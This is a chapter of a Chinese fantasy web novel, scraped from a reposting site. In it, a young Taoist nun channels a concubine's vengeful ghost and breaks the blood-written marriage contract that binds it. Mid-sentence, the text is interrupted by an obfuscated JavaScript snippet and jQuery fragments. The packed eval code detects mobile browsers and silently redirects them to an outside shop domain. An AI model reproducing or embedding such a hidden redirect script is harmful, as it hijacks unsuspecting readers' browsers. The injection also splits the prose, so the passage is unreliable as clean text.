文趣网 > 其他小说 > 美人她太过无趣 > 7. 美人见鬼4
    沈知闲眉间,随之滑过一丝怨怼,但很快又恢复了平静。

    “你与那李成济可有过三媒六聘?”

    她顿了顿,低头打量面前婚书,再开口时,声音比平时大了几分:“你的这封婚书,可有长辈首肯,礼官祝福?那李成济……可又曾亲眼见过、亲口认下?”

    “这婚书确非俗世契阔,但那李成济既答应过我,就算是死也得兑现了承诺!”脑中的声音极尖极细,带着破风似的锐响,刮得沈知闲耳膜生疼,激得她眼下黑气纹路愈发明显。

    她眉间蹙起,声音不自觉也跟着变尖了:“所以你便挑唆那黑猫去炸棺?”

    “那糟老婆子罪有应得!凭什么?!凭什么她有个当大官的好爹,就能抢我夫君,夺我儿子,逼我亲生骨肉唤她母亲!我呸——她占了李成济一辈子,死后休想再与他同穴!”

    此言一出,沈知闲心下顿时了然,却也一时不知该作何言语。

    殁境中一遍又一遍呐喊出声的“新人就位,恭行拜堂大礼——!”再度在脑中炸响,她垂眼看着面前婚书,只觉婚书上“佳偶天成”四个字,就像倏地有了重量,坠在她心头。

    似沉甸甸的,又似轻如鸿毛。

    沈知闲沉默着埋下了头。

    温暖看不清她表情,只隐约瞧见她面上黑气纹路越来越深,心里着急,想冲上去,却被赵宴安抬起的长剑挡住了去路。

    刚想理论几句,沈知闲又抬起了头来。两手往膝盖上一撑,有些僵硬地从地上站了起来,轻声道:“我带你出去逛逛吧。”

    说着,竟是看也不看众人,直接往门外走,额间的引魂符微微发亮。

    赵宴安收了剑,朝温暖和陆序使了个眼色,示意跟上。

    三人跟在沈知闲身后鱼贯而出。

    只见她步态端方地一路下了厅堂台阶。小院已不似方才阴暗,可歪斜至西边的阳光洒在满院杂草枯叶上,仍是说不清的萧索。

    沈知闲绕过小照壁,原本锁死的小院木门已失了禁锢,虚掩半扇。

    她缓步过去,将余下半扇也推开,望向门外的光景。

    连廊间轻垂纱幔,亭台中静陈素琴。各色繁花簇叶,次第舒展;流水载着落英,悠悠远去。

    ——满眼的生机勃勃。

    一墙之隔,竟是两副光景!

    “看见了吗?”

    沈知闲缓声开口,依然声如蚊呐,却将眼下的黑气骤然震得散了开来。

    她缓声道:“都已经结束了。他们都走了。”

    一行泪,顺着沈知闲的眼睛流下来,但却不是她的。

    她转身,看向跟出来的三人,表情复杂地勾了勾嘴角。

    温暖的手抚上右腕,那里在微微发烫。

    她喜不自胜,作势便要撩袖查看。正要低头,却见沈知闲面上逐渐褪去的黑雾猛地再次腾起,竟是瞬间遮去了她大半张脸!

    “知闲!”

    “沈仙姑!”

    温暖和陆序同时冲上去,险险扶住了差点儿跌在地上的沈知闲。

    沈知闲双眼紧闭,脑中走马灯似的一幕幕快速闪过。

    先是个双十年华的少女,坐在拔步床前与郎君互赠心意。

    后是少女蜷缩床榻,死死抱住小腹,哀哀哭泣。

    再往后,那少女便疏起了妇人髻,倚在拔步床边,望着窗外的高高围墙,朝怀中襁褓,哼唱不成调的小曲。

    转眼间,婴孩又变成了稚子,牵着她的手,一同进了李府。

    那架拔步床被迁进了崭新小院,只是庭院冷清,再也不见孩童身影。

    岁月一年年淌过,少女脸上的娇笑,逐渐敛成眼底化不开的沉寂。

    一本《巫术残卷》被缓缓打开,血水浸染了册子,封面上歪斜印下“佳偶天成”四个大字。

    之后便是一声悠长叹息传来,像是吐尽了最后一息温度。周围传来低低的呜咽,有再熟悉不过的人在叫她:“姨娘,走好。”

    她想挥挥手,说“都散了吧。”却半点儿也动弹不得。

    四面,是刺骨的冰寒一点点漫上来,锥心刺骨的痛。

    耳边,流水的声音生生不息,滴水穿石般的绝望将胸口熄灭的火,重新点燃,带着无尽愤恨、怨怼和不甘……

    不甘心啊,我好不甘心啊……

    为什么连死都不放过我呢……

    沈知闲痛苦地皱着眉,脑中的思考和撕心的哀戚混在了一起。

    为什么?

    为什么她明明已经撒手了,还不放她离开?

    忽地,沈知闲猛地睁开眼睛,沙哑的喉咙艰涩吐出两字:“婚……书!”

    胸腔内积蓄的怒火,趁机破喉而出,撕扯出一声不高不低的嘶哑低吼,听不出是愤怒,还是难受。

    闻言,远处握刀而立的赵宴安吹了记轻快的口哨,旋即转身,长足一点掠入屋内。手中长剑急挑,那婚书凌空而起,转瞬便被斩作两段,散出一团浓郁黑气。

    角落处,被黑雾盖住的厉祟随之瞬间化尘而去。

    赵宴安看着厉祟消逝之处,眉间轻挑,眸中闪过一丝惊异,随即神色一凛,周身气场彻底沉了下来。

    门外,沈知闲面上的黑气也逐渐散开来。

    她大口喘息几番,待胸口的剧烈起伏慢慢平复下来,才怔怔看向拥着她的温暖。

    呆愣好半晌,又一行泪滑了下来,是她自己的。

    “温暖……我看到她的执念了。”沈知闲喃喃开口。

    她想告诉温暖,这个吴姨娘好苦,却又什么都说不出来。

    抬眼看向小院的高墙,忽而勾起抹笑,轻声道:“谢谢你。”

    ——谢谢你把我从这样的高墙里救了出来。

    温暖自然听不懂这没头没脑的道谢,只俯身仔细瞧了瞧,确认沈知闲眼下的黑气纹路彻底消失了,才转而问道:“那婚书,是何情况?”

    “似乎是从一本《巫术残卷》上学到的异术……非但没甚作用,反倒将吴姨娘魂魄锁于井下,不得超生……”沈知闲一边答话,一边扶着温暖站起来,还没站稳,眼前却是阵阵发黑。

    “所以她不是真为个男人想不开,而是……”温暖没注意到沈知闲的异样,沉吟着接话。话还未说完,便见旁侧始终笔直而立的陆序几乎要跳起来。

    他像是碰了什么脏东西一般,猛地拍了拍自己胸前衣襟,又甩了甩手,耳根竟是一片通红。

    “你咋了?”温暖不解。

    转头,旁侧沈知闲的苍白脸颊上,也浮起一层突兀的绯色。沈知闲轻轻拉了拉她衣袖,小声道:“那婚书上的血字,是用……经血……写的……”

    温暖愣了片刻,不由勾起嘴角,发出的却是一声冷笑:“嚯,陆兄这般清贵高洁,想来是从石头缝里蹦出来的吧?倒是女儿家的月事脏污了您。”

    说罢,她翻了个白眼,反手拉过沈知闲便往前院走:“我们走,莫叫我们女儿家的身子,污了这位雅士的风骨。”

    沈知闲也不知温暖何故突然发火,只歉意地看了眼已被怼得说不出话的陆序,便拖着灌铅似的腿,跟着往前走。

    又听身后传来声音:“二位仙姑留步。”

    “刚见仙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721110|208655||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姑不凡,可愿为北院效力?”赵宴安站在石阶之上,笑盈盈发出邀请,“入北院律令司,做魂仵作。”

    闻言,温暖立时停了脚步,方才那股怒气竟被这邀请生生截断。她转身看向赵宴安,右腕处,久违的滚烫感蔓延开来。

    她的嘴角止不住地上扬,可还未等她开口,旁侧的沈知闲却是一点点,软倒在了她的身上。

    “知闲!”

    温暖一把捞住她,看向面前两个大男人,急道:“应是引魂消耗太大,又兼饿了一天……二位可带了甜口的东西?”

    两人皆是摇头。

    还是陆序先反应过来,拔腿就往前院跑,声音从远处急急传来:“我去找家丁要点儿吃食!”

    ——

    待陆序领着李家两位姑奶奶并一行小厮赶来时,温暖已将沈知闲扶到了旁侧凉亭上。

    大姑奶奶算是清微观的老福主了,与观主也颇为相熟。温暖与沈知闲的此次李府之行,就是她出面延请的。

    此时,见温暖额上半个拳头大的血痂,左手腕也带了伤,沈知闲更是软绵绵斜靠在她肩上,吓了一大跳,赶紧提裙上前:“哎呀,二位道姑如何伤这么重?”

    “赶紧的,快把红糖水端上来,再去催催府医。”

    她亲自将一碗糖水端到温暖面前,后者也不客气,径直接过,递到沈知闲嘴边,一勺一勺地往她嘴里喂。

    二姑奶奶踮脚看着,手里帕子搅了搅,眼看自己也帮不上忙,心里干着急。转头,瞧见旁侧的陆序还滴滴答答往下滴水,连忙“哎呀”一声:“陆力士,若是不嫌弃,我先让人找套未穿过的衣服……”

    闻言,陆序低头看向自己脚边淌出的一小摊水渍,像是才意识到自己的一身狼狈,有些尴尬的挠了挠鼻子:“啊,不用。”

    他转头四处打量了一番,未看到赵宴安的身影,料想对方是先撤了,毕竟以那人的身份,突然现身府上,多少会惹来些麻烦。

    随即,他也笑着一拱手:“陆某先行告辞。此番因事出仓促不请自来,叨扰了各位,改日再登门赔礼。”

    两位姑奶奶忙低头弯腰,一副诚惶诚恐的模样:“陆力士哪里话!此番府上竟有妖邪作乱,若非陆力士及时赶到,还不知后果如何。”

    “只是,这妖邪之事……”两位姑奶奶同时露出为难的神色,眼巴巴看着陆序,眼尾的纹路,恰到好处的挤出几分算计。

    陆序立刻会意,拱手道:“二位夫人放心,北院院规,执法之事绝不外传。”

    若真相信所谓“院规”,李家人当初又怎会舍“北院”而求“清微观”?可如今这般事态,两位姑奶奶也无甚可说,只尽量郑重地行了个全礼。

    陆序侧身避了避,再一拱手,便利落转身。却见旁边始终闭目歪斜靠着的沈知闲慢悠悠站了起来,朝他行了个极标准的俯礼:“今日事宜,谢过北院诸位了。”

    温暖也跟着她站了起来,不算热络地点了点头,意思很明显:我虽不喜欢你这人,但还是领了你这份情。

    陆序一时也不知该说什么,微微一颔首,出了凉亭,往侧门方向去了。

    沈知闲目送陆序走远,视线再次望向姨娘小院的方向,笼在小院四周的那层阴霾已经散尽。

    都结束了。

    她有些疲惫地叹了口气,回过身子,迎上两位大姑奶奶的殷切目光,忽觉胸腔里烧起一股火热。

    “二位夫人,烦请将李大人、李二老爷叫来。关于老夫人的事儿,我有些话,需代老夫人传达。”

    她声音仍是小小的,却不卑不亢,带着些坚定。